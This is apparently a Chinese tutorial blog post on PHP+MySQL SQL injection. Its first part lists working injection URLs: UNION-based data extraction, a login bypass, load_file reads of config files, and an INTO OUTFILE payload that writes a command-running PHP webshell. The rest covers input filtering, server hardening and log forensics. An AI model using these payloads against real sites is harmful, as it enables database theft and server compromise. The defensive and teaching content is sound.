实例

以下是我在服务器测试并成功注入的例子,大家看一下注入实例中的所有参数,有经验的程序员一看便知,如果不太明白可以自己实践一下,或者看一下注入原理(Php+Mysql注入专题教学),有任何疑问请联系kaiyuanba@163.com讨论

1、通过select

1)/pub/show.php?tpl_id=187&id=61/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

2)/pub/show.php?tpl_id=187&id=61/**/and/**/1=2/**/union/**/select/**/user(),database(),version(),1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16;

3)/showUser.php?uid=-1%20union%20select%20concat(username,password),1,2,3%20from test_talbewhere uid=1;

4)/action/lxmm/video_detail.php?vid=14/**/and/**/1=2/**/union/**/select/**/char(60,63,112,104,112,32,101,99,104,111,32,101,120,101,99,40,39,119,104,111,97,109,105,39,41,59,63,62)/**/into/**/outfile/**/'/test.php'/**/1=1

5)/action/lxmm/video_detail.php?vid=14%20and%201=2%20union%20select%20table_schema,table_name,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20information_schema.tables%20limit%201%202

6)/login.php?u=a'%20or%20id=1%23 验证(select * from alphaauthor where u='$u' and p='$p')

7)/pub/show.php?tpl_id=187%20load%20data%20local%20infile%20'd:/t.txt'%20into%20table%20test%20fields%20terminated by ','

8)/pub/show.php?id=347%20and%201<>1%20union%20select%201,2,load_file('/data/www/conf/config.in.php'),4,5,6,7,8,9,10,11

9)/readFile.php?path=/data/www&file=test.txt

字符注入

10)/searchUser.php?key=a%'%20and%201=2%20union%20select%201,u,2,p%20from%20user/*

11)/pub/show.php?id=451%20and%201=2%20union%20select%201,2,load_file(0x643a2f742e747874),4,5,6,7,8,9,10,11

12)/pub/show.php?id=451%20and%201=2%20union%20select%201,2,load_file(char(100,58,47,116,46,116,120,116)),4,5,6,7,8,9,10,11

2、通过insert

1)INSERT INTO members VALUES('$u','$p','$email','2'),email输入了netsh@163.com','1')/*

3、程序

1)@extract(daddslashes($_GET));register_globals=Off

防范

1、程序防范

1)对于用户名这样的字段,输入时候,检查不允许有空格,而且必须是字母数字下划线或划线这四种,用正则检查诸如角色名这些不需要用'" \之类的字符,一定要在录入之前就检查。

2)有长度限制的一定要加入长度限制。

3)筛查sql关键字。

4)过滤整形is_numeric,intval,sprintf。

5)如果!get_magic_quotes_gpc()用addslashes过滤。

6)文件上传严格控制上传文件类型。

7)记录用户操作日志。

2、服务器防范

1)apache安全

(1)指定运行帐户daemon

(4)chroot运行

(2)FollowSymLinks

(3)AllowOverride None (rewrite)

2)php配置安全注意事项

(1)magic_quotes_gpc = on

(2)register_globals = off

(3)safe_mode = on

(4)open_basedir = /var/www/

(5)disable_functions = phpinfo ... (用不到并且危险的函数)

(6)display_errors = Off (容易暴露出错文件位置)

3)Mysql安全

(1)指定用户运行groupadd mysql useradd -g mysql mysql

(2)chroot运行

服务器被入侵后应该如何应对

1、查看日志,查询select,union,concat,into,outfile之类参数的日志,去研究他通过哪些文件注入的,并且做了哪些操作。

grep -i union 200808*.log > search.log

grep -i union 200808*.log | grep -v 404 > search.log

2、查到了有文件2008.php被注入,查找相应内容的文件。

find /data/SSWWW/www | grep 2008.php > search.log

find . -name "*.php"  -printf "%c %p\n" |sort -n |more

3、2008.php中含有fsockopen、exec或者文件版本信息关键字,查找虚拟主机所有含有该关键字的php文件。

find /data/ -name "*.php" -exec grep -iH "fsockopen" {} \;

find /data/SSWWW/ |grep php| xargs grep 4ngel >  search.log

4、及时检查服务器日志和最新被改动Php文件

php+mysql实例注入,PHP+MYSQL注入实例与防范措施总结相关推荐

  1. sql注入***的各种注入方法

    ASP编程门槛很低,新手很容易上路.在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到.那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行 ...

  2. mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...

    本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...

  3. php mysql 连接方法 对比_Mysql实例php连接MySQL的两种方式对比

    <Mysql实例php连接MySQL的两种方式对比>要点: 本文介绍了Mysql实例php连接MySQL的两种方式对比,希望对您有用.如果有疑问,可以联系我们. MYSQL数据库记录一下P ...

  4. golang mysql 防注入_Go,Gorm 和 Mysql 是如何防止 SQL 注入的

    Go,Gorm 和 Mysql 是如何防止 SQL 注入的 SQL 注入和 SQL 预编译技术 什么是 SQL 注入 所谓SQL注入(sql inject),就是通过把SQL命令插入到Web表单提交或 ...

  5. mysql sql注入工具_基础篇——SQL注入(工具注入)

    注入工具 上一篇介绍了SQL注入漏洞以及一些手工注入方法,本篇介绍一下注入工具 1.sqlmap sqlmap属于比较经典的一个注入工具,功能强大,还自带一些绕过参数 使用方法: sqlmap.py ...

  6. mysql重复记录大于十的数据库_MySQL专题10之MySQL序列使用、MySQL处理重复数据、MySQL以及SQL的注入...

    1.MySQL序列使用 -  MySQL序列是一组整数:1,2,3...,由于一张数据表只能有一个字段自增主键,如果你想实现其他字段也实现自动增加,就可以使用MySQL序列来实现. -  使用AUTO ...

  7. SQL注入之MYSQL注入总结

    简介 information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息. 让我们从爆破表名到了可以直接查询. information_schema是MySQL5.0以 ...

  8. SQL注入之MySQL注入学习笔记(二)

    补充:MySQL注释方法 文章目录 MySQL注入 基本介绍 字符型 数字型 搜索型 Cookie注入 HTTP头注入 具体实例 数字型注入 一般类型 被单引号包裹起来的 双引号加小括号包裹 两个括号 ...

  9. Mysql备份还原数据库之mysqldump实例及参数详细说明

    我们在运营项目的过程中肯定会遇到备份数据库,还原数据库的情况,我们一般用一下两种方式来处理: 1.使用into outfile 和 load data infile导入导出备份数据 这种方法的好处是, ...

  10. MySQL 5.5.35 单机多实例配置详解

    一.前言 二.概述 三.环境准备 四.安装MySQL 5.5.35 五.新建支持多实例的配置文件(我这里配置的是四个实例) 六.初始化多实例数据库 七.提供管理脚本 mysqld_multi.serv ...

最新文章

  1. Android静态变量的生命周期
  2. 构造函数 原型对象 对象实例 图
  3. Asp.Net 数据分页
  4. 阿里云ACE共创空间——大数据方案体验1 日志服务
  5. Rtworld目录网全解开源2.0-功能齐全
  6. m2eclipse简单使用,创建Maven项目 ,运行mvn命令(转)
  7. template 不能分别在.h和.cpp中定义模板
  8. 圈复杂度(Cyclomatic Complexity)-转
  9. HttpSession详解(简称session)
  10. C语言strcmp函数使用及模拟
  11. python给word添加换行换页符
  12. 通过Vue的动态组件实现打印模板设计器结合lodop打印
  13. 童心未泯?LEGO积木iPod touch外壳,自己拼积木!
  14. 自然语言处理--信息模型
  15. Dockerfile unable to access ‘.git/‘: Failed to connect to gitlab.com
  16. win7 oracle32位客户端安装找不到orandce11.dll.dbl
  17. Java项目:设备台账管理系统(java+SSM+HTML+JSP+JS+mysql)
  18. Federico Ferrari 和Ole Sigmund的高效3D拓扑优化程序
  19. 2020第一篇TED:Ideas worth spreading—— Debbie Millman: How symbols and brands shape our humanity?
  20. Netty框架之编解码机制一(ByteBuf以及Tcp粘包拆包)

热门文章

  1. XML命名空间和相关类简介
  2. VS2013打包生成安装文件setup.exe(详细图解)
  3. Linux Linux开发 Linux高级编程 Linux文档
  4. python input函数详解_对Python3中的input函数详解
  5. VMware Workstation 历史版本下载
  6. Java基础练习之流程控制(一)
  7. Service与Android系统实现(1)-- 应用程序里的Service
  8. Android开发之多线程编程Thread和Runnable使用
  9. $.ajax中contentType属性为“application/json”和“application/x-www-form-urlencoded”的区别...
  10. struts框架的原理和应用_分布式开源调度框架TBSchedule原理与应用